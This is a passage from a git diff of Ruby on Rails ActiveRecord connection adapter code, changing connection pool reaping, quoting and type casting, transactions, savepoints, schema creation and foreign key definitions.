- # Removes dead connections from the pool. A dead connection can occur
- # if a programmer forgets to close a connection at the end of a thread
+ # Recover lost connections for the pool. A lost connection can occur if
+ # a programmer forgets to checkin a connection at the end of a thread
# or a thread dies unexpectedly.
def reap
- synchronize do
- stale = Time.now - @dead_connection_timeout
- connections.dup.each do |conn|
- remove conn if conn.in_use? && stale > conn.last_use && !conn.active?
+ stale_connections = synchronize do
+ @connections.select do |conn|
+ conn.in_use? && !conn.owner.alive?
+ end
+ end
+
+ stale_connections.each do |conn|
+ synchronize do
+ if conn.active?
+ conn.reset!
+ checkin conn
+ else
+ remove conn
+ end
end
end
end
@@ -424,20 +419,15 @@ module ActiveRecord
elsif @connections.size < @size
checkout_new_connection
else
+ reap
@available.poll(@checkout_timeout)
end
end
- def release(conn)
- thread_id = if @reserved_connections[current_connection_id] == conn
- current_connection_id
- else
- @reserved_connections.keys.find { |k|
- @reserved_connections[k] == conn
- }
- end
+ def release(owner)
+ thread_id = owner.object_id
- @reserved_connections.delete thread_id if thread_id
+ @reserved_connections.delete thread_id
end
def new_connection
@@ -458,7 +448,7 @@ module ActiveRecord
end
def checkout_and_verify(c)
- c.run_callbacks :checkout do
+ c._run_checkout_callbacks do
c.verify!
end
c
@@ -471,30 +461,55 @@ module ActiveRecord
#
# For example, suppose that you have 5 models, with the following hierarchy:
#
- # |
- # +-- Book
- # | |
- # | +-- ScaryBook
- # | +-- GoodBook
- # +-- Author
- # +-- BankAccount
+ # class Author < ActiveRecord::Base
+ # end
+ #
+ # class BankAccount < ActiveRecord::Base
+ # end
+ #
+ # class Book < ActiveRecord::Base
+ # establish_connection "library_db"
+ # end
+ #
+ # class ScaryBook < Book
+ # end
#
- # Suppose that Book is to connect to a separate database (i.e. one other
- # than the default database). Then Book, ScaryBook and GoodBook will all use
- # the same connection pool. Likewise, Author and BankAccount will use the
- # same connection pool. However, the connection pool used by Author/BankAccount
- # is not the same as the one used by Book/ScaryBook/GoodBook.
+ # class GoodBook < Book
+ # end
#
- # Normally there is only a single ConnectionHandler instance, accessible via
- # ActiveRecord::Base.connection_handler. Active Record models use this to
- # determine the connection pool that they should use.
+ # And a database.yml that looked like this:
+ #
+ # development:
+ # database: my_application
+ # host: localhost
+ #
+ # library_db:
+ # database: library
+ # host: some.library.org
+ #
+ # Your primary database in the development environment is "my_application"
+ # but the Book model connects to a separate database called "library_db"
+ # (this can even be a database on a different machine).
+ #
+ # Book, ScaryBook and GoodBook will all use the same connection pool to
+ # "library_db" while Author, BankAccount, and any other models you create
+ # will use the default connection pool to "my_application".
+ #
+ # The various connection pools are managed by a single instance of
+ # ConnectionHandler accessible via ActiveRecord::Base.connection_handler.
+ # All Active Record models use this handler to determine the connection pool that they
+ # should use.
class ConnectionHandler
def initialize
- # These hashes are keyed by klass.name, NOT klass. Keying them by klass
+ # These caches are keyed by klass.name, NOT klass. Keying them by klass
# alone would lead to memory leaks in development mode as all previous
# instances of the class would stay in memory.
- @owner_to_pool = Hash.new { |h,k| h[k] = {} }
- @class_to_pool = Hash.new { |h,k| h[k] = {} }
+ @owner_to_pool = ThreadSafe::Cache.new(:initial_capacity => 2) do |h,k|
+ h[k] = ThreadSafe::Cache.new(:initial_capacity => 2)
+ end
+ @class_to_pool = ThreadSafe::Cache.new(:initial_capacity => 2) do |h,k|
+ h[k] = ThreadSafe::Cache.new
+ end
end
def connection_pool_list
@@ -502,15 +517,17 @@ module ActiveRecord
end
def connection_pools
- ActiveSupport::Deprecation.warn(
- "In the next release, this will return the same as #connection_pool_list. " \
- "(An array of pools, rather than a hash mapping specs to pools.)"
- )
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ In the next release, this will return the same as `#connection_pool_list`.
+ (An array of pools, rather than a hash mapping specs to pools.)
+ MSG
+
Hash[connection_pool_list.map { |pool| [pool.spec, pool] }]
end
def establish_connection(owner, spec)
@class_to_pool.clear
+ raise RuntimeError, "Anonymous class is not allowed." unless owner.name
owner_to_pool[owner.name] = ConnectionAdapters::ConnectionPool.new(spec)
end
@@ -542,7 +559,10 @@ module ActiveRecord
# for (not necessarily the current class).
def retrieve_connection(klass) #:nodoc:
pool = retrieve_connection_pool(klass)
- (pool && pool.connection) or raise ConnectionNotEstablished
+ raise ConnectionNotEstablished, "No connection pool for #{klass}" unless pool
+ conn = pool.connection
+ raise ConnectionNotEstablished, "No connection for #{klass} in connection pool" unless conn
+ conn
end
# Returns true if a connection that's accessible to this class has
@@ -570,10 +590,10 @@ module ActiveRecord
# When a connection is established or removed, we invalidate the cache.
#
# Ideally we would use #fetch here, as class_to_pool[klass] may sometimes be nil.
- # However, benchmarking (https://gist.github.com/3552829) showed that #fetch is
- # significantly slower than #[]. So in the nil case, no caching will take place,
- # but that's ok since the nil case is not the common one that we wish to optimise
- # for.
+ # However, benchmarking (https://gist.github.com/jonleighton/3552829) showed that
+ # #fetch is significantly slower than #[]. So in the nil case, no caching will
+ # take place, but that's ok since the nil case is not the common one that we wish
+ # to optimise for.
def retrieve_connection_pool(klass)
class_to_pool[klass.name] ||= begin
until pool = pool_for(klass)
@@ -620,7 +640,7 @@ module ActiveRecord
end
def call(env)
- testing = env.key?('rack.test')
+ testing = env['rack.test']
response = @app.call(env)
response[2] = ::Rack::BodyProxy.new(response[2]) do
@@ -628,7 +648,7 @@ module ActiveRecord
end
response
- rescue
+ rescue Exception
ActiveRecord::Base.clear_active_connections! unless testing
raise
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb b/activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb
index 30ccb8f0a4..c0a2111571 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb
@@ -17,6 +17,15 @@ module ActiveRecord
64
end
+ # Returns the maximum allowed length for an index name. This
+ # limit is enforced by rails and Is less than or equal to
+ # <tt>index_name_length</tt>. The gap between
+ # <tt>index_name_length</tt> is to allow internal rails
+ # operations to use prefixes in temporary operations.
+ def allowed_index_name_length
+ index_name_length
+ end
+
# Returns the maximum length of an index name.
def index_name_length
64
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
index c3d15ca929..12b16b2473 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
@@ -9,26 +9,33 @@ module ActiveRecord
# Converts an arel AST to SQL
def to_sql(arel, binds = [])
if arel.respond_to?(:ast)
- binds = binds.dup
- visitor.accept(arel.ast) do
- quote(*binds.shift.reverse)
- end
+ collected = visitor.accept(arel.ast, collector)
+ collected.compile(binds.dup, self)
else
arel
end
end
- # Returns an array of record hashes with the column names as keys and
- # column values as values.
+ # This is used in the StatementCache object. It returns an object that
+ # can be used to query the database repeatedly.
+ def cacheable_query(arel) # :nodoc:
+ if prepared_statements
+ ActiveRecord::StatementCache.query visitor, arel.ast
+ else
+ ActiveRecord::StatementCache.partial_query visitor, arel.ast, collector
+ end
+ end
+
+ # Returns an ActiveRecord::Result instance.
def select_all(arel, name = nil, binds = [])
+ arel, binds = binds_from_relation arel, binds
select(to_sql(arel, binds), name, binds)
end
# Returns a record hash with the column names as keys and column values
# as values.
def select_one(arel, name = nil, binds = [])
- result = select_all(arel, name, binds)
- result.first if result
+ select_all(arel, name, binds).first
end
# Returns a single value from a record
@@ -41,13 +48,13 @@ module ActiveRecord
# Returns an array of the values of the first column in a select:
# select_values("SELECT id FROM companies LIMIT 3") => [1,2,3]
def select_values(arel, name = nil)
- result = select_rows(to_sql(arel, []), name)
- result.map { |v| v[0] }
+ arel, binds = binds_from_relation arel, []
+ select_rows(to_sql(arel, binds), name, binds).map(&:first)
end
# Returns an array of arrays containing the field values.
# Order is the same as that returned by +columns+.
- def select_rows(sql, name = nil)
+ def select_rows(sql, name = nil, binds = [])
end
undef_method :select_rows
@@ -76,6 +83,11 @@ module ActiveRecord
exec_query(sql, name, binds)
end
+ # Executes the truncate statement.
+ def truncate(table_name, name = nil)
+ raise NotImplementedError
+ end
+
# Executes update +sql+ statement in the context of this connection using
# +binds+ as the bind substitutes. +name+ is logged along with
# the executed +sql+ statement.
@@ -125,7 +137,8 @@ module ActiveRecord
# In order to get around this problem, #transaction will emulate the effect
# of nested transactions, by using savepoints:
# http://dev.mysql.com/doc/refman/5.0/en/savepoint.html
- # Savepoints are supported by MySQL and PostgreSQL, but not SQLite3.
+ # Savepoints are supported by MySQL and PostgreSQL. SQLite3 version >= '3.6.8'
+ # supports savepoints.
#
# It is safe to call this method if a database transaction is already open,
# i.e. if #transaction is called within another #transaction block. In case
@@ -185,7 +198,7 @@ module ActiveRecord
# * You are creating a nested (savepoint) transaction
#
# The mysql, mysql2 and postgresql adapters support setting the transaction
- # isolation level. However, support is disabled for mysql versions below 5,
+ # isolation level. However, support is disabled for MySQL versions below 5,
# because they are affected by a bug[http://bugs.mysql.com/bug.php?id=39170]
# which means the isolation level gets persisted outside the transaction.
def transaction(options = {})
@@ -195,58 +208,30 @@ module ActiveRecord
if options[:isolation]
raise ActiveRecord::TransactionIsolationError, "cannot set isolation when joining a transaction"
end
-
yield
else
- within_new_transaction(options) { yield }
+ transaction_manager.within_new_transaction(options) { yield }
end
rescue ActiveRecord::Rollback
# rollbacks are silently swallowed
end
- def within_new_transaction(options = {}) #:nodoc:
- transaction = begin_transaction(options)
- yield
- rescue Exception => error
- rollback_transaction if transaction
- raise
- ensure
- begin
- commit_transaction unless error
- rescue Exception
- rollback_transaction
- raise
- end
- end
+ attr_reader :transaction_manager #:nodoc:
- def current_transaction #:nodoc:
- @transaction
- end
+ delegate :within_new_transaction, :open_transactions, :current_transaction, :begin_transaction, :commit_transaction, :rollback_transaction, to: :transaction_manager
def transaction_open?
- @transaction.open?
- end
-
- def begin_transaction(options = {}) #:nodoc:
- @transaction = @transaction.begin(options)
- end
-
- def commit_transaction #:nodoc:
- @transaction = @transaction.commit
- end
-
- def rollback_transaction #:nodoc:
- @transaction = @transaction.rollback
+ current_transaction.open?
end
def reset_transaction #:nodoc:
- @transaction = ClosedTransaction.new(self)
+ @transaction_manager = TransactionManager.new(self)
end
# Register a record with the current transaction so that its after_commit and after_rollback callbacks
# can be called.
def add_transaction_record(record)
- @transaction.add_record(record)
+ current_transaction.add_record(record)
end
# Begins the transaction (and turns off auto-committing).
@@ -302,14 +287,6 @@ module ActiveRecord
"DEFAULT VALUES"
end
- def case_sensitive_equality_operator
- "="
- end
-
- def limited_update_conditions(where_sql, quoted_table_name, quoted_primary_key)
- "WHERE #{quoted_primary_key} IN (SELECT #{quoted_primary_key} FROM #{quoted_table_name} #{where_sql})"
- end
-
# Sanitizes the given LIMIT parameter in order to prevent SQL injection.
#
# The +limit+ may be anything that can evaluate to a string via #to_s. It
@@ -322,7 +299,7 @@ module ActiveRecord
def sanitize_limit(limit)
if limit.is_a?(Integer) || limit.is_a?(Arel::Nodes::SqlLiteral)
limit
- elsif limit.to_s =~ /,/
+ elsif limit.to_s.include?(',')
Arel.sql limit.to_s.split(',').map{ |i| Integer(i) }.join(',')
else
Integer(limit)
@@ -330,8 +307,8 @@ module ActiveRecord
end
# The default strategy for an UPDATE with joins is to use a subquery. This doesn't work
- # on mysql (even when aliasing the tables), but mysql allows using JOIN directly in
- # an UPDATE statement, so in the mysql adapters we redefine this to do that.
+ # on MySQL (even when aliasing the tables), but MySQL allows using JOIN directly in
+ # an UPDATE statement, so in the MySQL adapters we redefine this to do that.
def join_to_update(update, select) #:nodoc:
key = update.key
subselect = subquery_for(key, select)
@@ -347,18 +324,18 @@ module ActiveRecord
protected
- # Return a subquery for the given key using the join information.
+ # Returns a subquery for the given key using the join information.
def subquery_for(key, select)
subselect = select.clone
subselect.projections = [key]
subselect
end
- # Returns an array of record hashes with the column names as keys and
- # column values as values.
+ # Returns an ActiveRecord::Result instance.
def select(sql, name = nil, binds = [])
+ exec_query(sql, name, binds)
end
- undef_method :select
+
# Returns the last auto-generated ID from the affected table.
def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)
@@ -376,14 +353,21 @@ module ActiveRecord
update_sql(sql, name)
end
- def sql_for_insert(sql, pk, id_value, sequence_name, binds)
- [sql, binds]
- end
+ def sql_for_insert(sql, pk, id_value, sequence_name, binds)
+ [sql, binds]
+ end
- def last_inserted_id(result)
- row = result.rows.first
- row && row.first
- end
+ def last_inserted_id(result)
+ row = result.rows.first
+ row && row.first
+ end
+
+ def binds_from_relation(relation, binds)
+ if relation.is_a?(Relation) && binds.empty?
+ relation, binds = relation.arel, relation.bind_values
+ end
+ [relation, binds]
+ end
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
index be6fda95b4..4a4506c7f5 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
@@ -9,10 +9,10 @@ module ActiveRecord
def dirties_query_cache(base, *method_names)
method_names.each do |method_name|
base.class_eval <<-end_code, __FILE__, __LINE__ + 1
- def #{method_name}(*) # def update_with_query_dirty(*args)
- clear_query_cache if @query_cache_enabled # clear_query_cache if @query_cache_enabled
- super # update_without_query_dirty(*args)
- end # end
+ def #{method_name}(*)
+ clear_query_cache if @query_cache_enabled
+ super
+ end
end_code
end
end
@@ -20,13 +20,19 @@ module ActiveRecord
attr_reader :query_cache, :query_cache_enabled
+ def initialize(*)
+ super
+ @query_cache = Hash.new { |h,sql| h[sql] = {} }
+ @query_cache_enabled = false
+ end
+
# Enable the query cache within the block.
def cache
old, @query_cache_enabled = @query_cache_enabled, true
yield
ensure
- clear_query_cache
@query_cache_enabled = old
+ clear_query_cache unless @query_cache_enabled
end
def enable_query_cache!
@@ -57,6 +63,7 @@ module ActiveRecord
def select_all(arel, name = nil, binds = [])
if @query_cache_enabled && !locked?(arel)
+ arel, binds = binds_from_relation arel, binds
sql = to_sql(arel, binds)
cache_sql(sql, binds) { super(sql, name, binds) }
else
@@ -75,16 +82,11 @@ module ActiveRecord
else
@query_cache[sql][binds] = yield
end
-
- # FIXME: we should guarantee that all cached items are Result
- # objects. Then we can avoid this conditional
- if ActiveRecord::Result === result
- result.dup
- else
- result.collect { |row| row.dup }
- end
+ result.dup
end
+ # If arel is locked this is a SELECT ... FOR UPDATE or somesuch. Such
+ # queries should not be cached.
def locked?(arel)
arel.respond_to?(:locked) && arel.locked
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
index 60a9eee7c7..679878d860 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
@@ -9,72 +9,29 @@ module ActiveRecord
# records are quoted as their primary key
return value.quoted_id if value.respond_to?(:quoted_id)
- case value
- when String, ActiveSupport::Multibyte::Chars
- value = value.to_s
- return "'#{quote_string(value)}'" unless column
-
- case column.type
- when :binary then "'#{quote_string(column.string_to_binary(value))}'"
- when :integer then value.to_i.to_s
- when :float then value.to_f.to_s
- else
- "'#{quote_string(value)}'"
- end
-
- when true, false
- if column && column.type == :integer
- value ? '1' : '0'
- else
- value ? quoted_true : quoted_false
- end
- # BigDecimals need to be put in a non-normalized form and quoted.
- when nil then "NULL"
- when BigDecimal then value.to_s('F')
- when Numeric, ActiveSupport::Duration then value.to_s
- when Date, Time then "'#{quoted_date(value)}'"
- when Symbol then "'#{quote_string(value.to_s)}'"
- when Class then "'#{value.to_s}'"
- else
- "'#{quote_string(YAML.dump(value))}'"
+ if column
+ value = column.cast_type.type_cast_for_database(value)
end
+
+ _quote(value)
end
# Cast a +value+ to a type that the database understands. For example,
# SQLite does not understand dates, so this method will convert a Date
# to a String.
def type_cast(value, column)
- return value.id if value.respond_to?(:quoted_id)
-
- case value
- when String, ActiveSupport::Multibyte::Chars
- value = value.to_s
- return value unless column
-
- case column.type
- when :binary then value
- when :integer then value.to_i
- when :float then value.to_f
- else
- value
- end
+ if value.respond_to?(:quoted_id) && value.respond_to?(:id)
+ return value.id
+ end
- when true, false
- if column && column.type == :integer
- value ? 1 : 0
- else
- value ? 't' : 'f'
- end
- # BigDecimals need to be put in a non-normalized form and quoted.
- when nil then nil
- when BigDecimal then value.to_s('F')
- when Numeric then value
- when Date, Time then quoted_date(value)
- when Symbol then value.to_s
- else
- to_type = column ? " to #{column.type}" : ""
- raise TypeError, "can't cast #{value.class}#{to_type}"
+ if column
+ value = column.cast_type.type_cast_for_database(value)
end
+
+ _type_cast(value)
+ rescue TypeError
+ to_type = column ? " to #{column.type}" : ""
+ raise TypeError, "can't cast #{value.class}#{to_type}"
end
# Quotes a string, escaping any ' (single quote) and \ (backslash)
@@ -93,14 +50,34 @@ module ActiveRecord
quote_column_name(table_name)
end
+ # Override to return the quoted table name for assignment. Defaults to
+ # table quoting.
+ #
+ # This works for mysql and mysql2 where table.column can be used to
+ # resolve ambiguity.
+ #
+ # We override this in the sqlite3 and postgresql adapters to use only
+ # the column name (as per syntax requirements).
+ def quote_table_name_for_assignment(table, attr)
+ quote_table_name("#{table}.#{attr}")
+ end
+
def quoted_true
"'t'"
end
+ def unquoted_true
+ 't'
+ end
+
def quoted_false
"'f'"
end
+ def unquoted_false
+ 'f'
+ end
+
def quoted_date(value)
if value.acts_like?(:time)
zone_conversion_method = ActiveRecord::Base.default_timezone == :utc ? :getutc : :getlocal
@@ -112,6 +89,45 @@ module ActiveRecord
value.to_s(:db)
end
+
+ private
+
+ def types_which_need_no_typecasting
+ [nil, Numeric, String]
+ end
+
+ def _quote(value)
+ case value
+ when String, ActiveSupport::Multibyte::Chars, Type::Binary::Data
+ "'#{quote_string(value.to_s)}'"
+ when true then quoted_true
+ when false then quoted_false
+ when nil then "NULL"
+ # BigDecimals need to be put in a non-normalized form and quoted.
+ when BigDecimal then value.to_s('F')
+ when Numeric, ActiveSupport::Duration then value.to_s
+ when Date, Time then "'#{quoted_date(value)}'"
+ when Symbol then "'#{quote_string(value.to_s)}'"
+ when Class then "'#{value}'"
+ else
+ "'#{quote_string(YAML.dump(value))}'"
+ end
+ end
+
+ def _type_cast(value)
+ case value
+ when Symbol, ActiveSupport::Multibyte::Chars, Type::Binary::Data
+ value.to_s
+ when true then unquoted_true
+ when false then unquoted_false
+ # BigDecimals need to be put in a non-normalized form and quoted.
+ when BigDecimal then value.to_s('F')
+ when Date, Time then quoted_date(value)
+ when *types_which_need_no_typecasting
+ value
+ else raise TypeError
+ end
+ end
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb b/activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb
new file mode 100644
index 0000000000..25c17ce971
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb
@@ -0,0 +1,21 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module Savepoints #:nodoc:
+ def supports_savepoints?
+ true
+ end
+
+ def create_savepoint(name = current_savepoint_name)
+ execute("SAVEPOINT #{name}")
+ end
+
+ def rollback_to_savepoint(name = current_savepoint_name)
+ execute("ROLLBACK TO SAVEPOINT #{name}")
+ end
+
+ def release_savepoint(name = current_savepoint_name)
+ execute("RELEASE SAVEPOINT #{name}")
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb
new file mode 100644
index 0000000000..5c95b95184
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb
@@ -0,0 +1,125 @@
+require 'active_support/core_ext/string/strip'
+
+module ActiveRecord
+ module ConnectionAdapters
+ class AbstractAdapter
+ class SchemaCreation # :nodoc:
+ def initialize(conn)
+ @conn = conn
+ @cache = {}
+ end
+
+ def accept(o)
+ m = @cache[o.class] ||= "visit_#{o.class.name.split('::').last}"
+ send m, o
+ end
+
+ def visit_AddColumn(o)
+ "ADD #{accept(o)}"
+ end
+
+ private
+
+ def visit_AlterTable(o)
+ sql = "ALTER TABLE #{quote_table_name(o.name)} "
+ sql << o.adds.map { |col| visit_AddColumn col }.join(' ')
+ sql << o.foreign_key_adds.map { |fk| visit_AddForeignKey fk }.join(' ')
+ sql << o.foreign_key_drops.map { |fk| visit_DropForeignKey fk }.join(' ')
+ end
+
+ def visit_ColumnDefinition(o)
+ sql_type = type_to_sql(o.type, o.limit, o.precision, o.scale)
+ column_sql = "#{quote_column_name(o.name)} #{sql_type}"
+ add_column_options!(column_sql, column_options(o)) unless o.primary_key?
+ column_sql
+ end
+
+ def visit_TableDefinition(o)
+ create_sql = "CREATE#{' TEMPORARY' if o.temporary} TABLE "
+ create_sql << "#{quote_table_name(o.name)} "
+ create_sql << "(#{o.columns.map { |c| accept c }.join(', ')}) " unless o.as
+ create_sql << "#{o.options}"
+ create_sql << " AS #{@conn.to_sql(o.as)}" if o.as
+ create_sql
+ end
+
+ def visit_AddForeignKey(o)
+ sql = <<-SQL.strip_heredoc
+ ADD CONSTRAINT #{quote_column_name(o.name)}
+ FOREIGN KEY (#{quote_column_name(o.column)})
+ REFERENCES #{quote_table_name(o.to_table)} (#{quote_column_name(o.primary_key)})
+ SQL
+ sql << " #{action_sql('DELETE', o.on_delete)}" if o.on_delete
+ sql << " #{action_sql('UPDATE', o.on_update)}" if o.on_update
+ sql
+ end
+
+ def visit_DropForeignKey(name)
+ "DROP CONSTRAINT #{quote_column_name(name)}"
+ end
+
+ def column_options(o)
+ column_options = {}
+ column_options[:null] = o.null unless o.null.nil?
+ column_options[:default] = o.default unless o.default.nil?
+ column_options[:column] = o
+ column_options[:first] = o.first
+ column_options[:after] = o.after
+ column_options
+ end
+
+ def quote_column_name(name)
+ @conn.quote_column_name name
+ end
+
+ def quote_table_name(name)
+ @conn.quote_table_name name
+ end
+
+ def type_to_sql(type, limit, precision, scale)
+ @conn.type_to_sql type.to_sym, limit, precision, scale
+ end
+
+ def add_column_options!(sql, options)
+ sql << " DEFAULT #{quote_default_expression(options[:default], options[:column])}" if options_include_default?(options)
+ # must explicitly check for :null to allow change_column to work on migrations
+ if options[:null] == false
+ sql << " NOT NULL"
+ end
+ if options[:auto_increment] == true
+ sql << " AUTO_INCREMENT"
+ end
+ sql
+ end
+
+ def quote_default_expression(value, column)
+ column.sql_type ||= type_to_sql(column.type, column.limit, column.precision, column.scale)
+ column.cast_type ||= type_for_column(column)
+
+ @conn.quote(value, column)
+ end
+
+ def options_include_default?(options)
+ options.include?(:default) && !(options[:null] == false && options[:default].nil?)
+ end
+
+ def action_sql(action, dependency)
+ case dependency
+ when :nullify then "ON #{action} SET NULL"
+ when :cascade then "ON #{action} CASCADE"
+ when :restrict then "ON #{action} RESTRICT"
+ else
+ raise ArgumentError, <<-MSG.strip_heredoc
+ '#{dependency}' is not supported for :on_update or :on_delete.
+ Supported values are: :nullify, :cascade, :restrict
+ MSG
+ end
+ end
+
+ def type_for_column(column)
+ @conn.lookup_cast_type(column.sql_type)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
index 73012834c9..537e21029e 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
@@ -8,44 +8,71 @@ module ActiveRecord
# Abstract representation of an index definition on a table. Instances of
# this type are typically created and returned by methods in database
# adapters. e.g. ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter#indexes
- class IndexDefinition < Struct.new(:table, :name, :unique, :columns, :lengths, :orders, :where) #:nodoc:
+ class IndexDefinition < Struct.new(:table, :name, :unique, :columns, :lengths, :orders, :where, :type, :using) #:nodoc:
end
# Abstract representation of a column definition. Instances of this type
# are typically created by methods in TableDefinition, and added to the
# +columns+ attribute of said TableDefinition object, in order to be used
# for generating a number of table creation or table changing SQL statements.
- class ColumnDefinition < Struct.new(:base, :name, :type, :limit, :precision, :scale, :default, :null) #:nodoc:
+ class ColumnDefinition < Struct.new(:name, :type, :limit, :precision, :scale, :default, :null, :first, :after, :primary_key, :sql_type, :cast_type) #:nodoc:
- def string_to_binary(value)
- value
+ def primary_key?
+ primary_key || type.to_sym == :primary_key
+ end
+ end
+
+ class ChangeColumnDefinition < Struct.new(:column, :type, :options) #:nodoc:
+ end
+
+ class ForeignKeyDefinition < Struct.new(:from_table, :to_table, :options) #:nodoc:
+ def name
+ options[:name]
+ end
+
+ def column
+ options[:column]
end
- def sql_type
- base.type_to_sql(type.to_sym, limit, precision, scale)
+ def primary_key
+ options[:primary_key] || default_primary_key
end
- def to_sql
- column_sql = "#{base.quote_column_name(name)} #{sql_type}"
- column_options = {}
- column_options[:null] = null unless null.nil?
- column_options[:default] = default unless default.nil?
- add_column_options!(column_sql, column_options) unless type.to_sym == :primary_key
- column_sql
+ def on_delete
+ options[:on_delete]
+ end
+
+ def on_update
+ options[:on_update]
+ end
+
+ def custom_primary_key?
+ options[:primary_key] != default_primary_key
end
private
+ def default_primary_key
+ "id"
+ end
+ end
- def add_column_options!(sql, options)
- base.add_column_options!(sql, options.merge(:column => self))
- end
+ module TimestampDefaultDeprecation # :nodoc:
+ def emit_warning_if_null_unspecified(options)
+ return if options.key?(:null)
+
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ `#timestamp` was called without specifying an option for `null`. In Rails 5,
+ this behavior will change to `null: false`. You should manually specify
+ `null: true` to prevent the behavior of your existing migrations from changing.
+ MSG
+ end
end
# Represents the schema of an SQL table in an abstract way. This class
# provides methods for manipulating the schema representation.
#
- # Inside migration files, the +t+ object in +create_table+ and
- # +change_table+ is actually of this type:
+ # Inside migration files, the +t+ object in +create_table+
+ # is actually of this type:
#
# class SomeMigration < ActiveRecord::Migration
# def up
@@ -62,30 +89,29 @@ module ActiveRecord
# The table definitions
# The Columns are stored as a ColumnDefinition in the +columns+ attribute.
class TableDefinition
+ include TimestampDefaultDeprecation
+
# An array of ColumnDefinition objects, representing the column changes
# that have been defined.
- attr_accessor :columns, :indexes
+ attr_accessor :indexes
+ attr_reader :name, :temporary, :options, :as
- def initialize(base)
- @columns = []
+ def initialize(types, name, temporary, options, as = nil)
@columns_hash = {}
@indexes = {}
- @base = base
+ @native = types
+ @temporary = temporary
+ @options = options
+ @as = as
+ @name = name
end
- def xml(*args)
- raise NotImplementedError unless %w{
- sqlite mysql mysql2
- }.include? @base.adapter_name.downcase
-
- options = args.extract_options!
- column(args[0], :text, options)
- end
+ def columns; @columns_hash.values; end
# Appends a primary key definition to the table definition.
# Can be called multiple times, but this is probably not a good idea.
- def primary_key(name)
- column(name, :primary_key)
+ def primary_key(name, type = :primary_key, options = {})
+ column(name, type, options.merge(:primary_key => true))
end
# Returns a ColumnDefinition for the column with name +name+.
@@ -98,8 +124,8 @@ module ActiveRecord
# which is one of the following:
# <tt>:primary_key</tt>, <tt>:string</tt>, <tt>:text</tt>,
# <tt>:integer</tt>, <tt>:float</tt>, <tt>:decimal</tt>,
- # <tt>:datetime</tt>, <tt>:timestamp</tt>, <tt>:time</tt>,
- # <tt>:date</tt>, <tt>:binary</tt>, <tt>:boolean</tt>.
+ # <tt>:datetime</tt>, <tt>:time</tt>, <tt>:date</tt>,
+ # <tt>:binary</tt>, <tt>:boolean</tt>.
#
# You may use a type not in this list as long as it is supported by your
# database (for example, "polygon" in MySQL), but this will not be database
@@ -118,9 +144,11 @@ module ActiveRecord
# Specifies the precision for a <tt>:decimal</tt> column.
# * <tt>:scale</tt> -
# Specifies the scale for a <tt>:decimal</tt> column.
+ # * <tt>:index</tt> -
+ # Create an index for the column. Can be either <tt>true</tt> or an options hash.
#
- # For clarity's sake: the precision is the number of significant digits,
- # while the scale is the number of digits that can be stored following
+ # Note: The precision is the total number of significant digits
+ # and the scale is the number of digits that can be stored following
# the decimal point. For example, the number 123.45 has a precision of 5
# and a scale of 2. A decimal with a precision of 5 and a scale of 2 can
# range from -999.99 to 999.99.
@@ -142,17 +170,8 @@ module ActiveRecord
# Default is (38,0).
# * DB2: <tt>:precision</tt> [1..63], <tt>:scale</tt> [0..62].
# Default unknown.
- # * Firebird: <tt>:precision</tt> [1..18], <tt>:scale</tt> [0..18].
- # Default (9,0). Internal types NUMERIC and DECIMAL have different
- # storage rules, decimal being better.
- # * FrontBase?: <tt>:precision</tt> [1..38], <tt>:scale</tt> [0..38].
- # Default (38,0). WARNING Max <tt>:precision</tt>/<tt>:scale</tt> for
- # NUMERIC is 19, and DECIMAL is 38.
# * SqlServer?: <tt>:precision</tt> [1..38], <tt>:scale</tt> [0..38].
# Default (38,0).
- # * Sybase: <tt>:precision</tt> [1..38], <tt>:scale</tt> [0..38].
- # Default (38,0).
- # * OpenBase?: Documentation unclear. Claims storage in <tt>double</tt>.
#
# This method returns <tt>self</tt>.
#
@@ -191,20 +210,23 @@ module ActiveRecord
# What can be written like this with the regular calls to column:
#
# create_table :products do |t|
- # t.column :shop_id, :integer
- # t.column :creator_id, :integer
- # t.column :name, :string, default: "Untitled"
- # t.column :value, :string, default: "Untitled"
- # t.column :created_at, :datetime
- # t.column :updated_at, :datetime
+ # t.column :shop_id, :integer
+ # t.column :creator_id, :integer
+ # t.column :item_number, :string
+ # t.column :name, :string, default: "Untitled"
+ # t.column :value, :string, default: "Untitled"
+ # t.column :created_at, :datetime
+ # t.column :updated_at, :datetime
# end
+ # add_index :products, :item_number
#
# can also be written as follows using the short-hand:
#
# create_table :products do |t|
# t.integer :shop_id, :creator_id
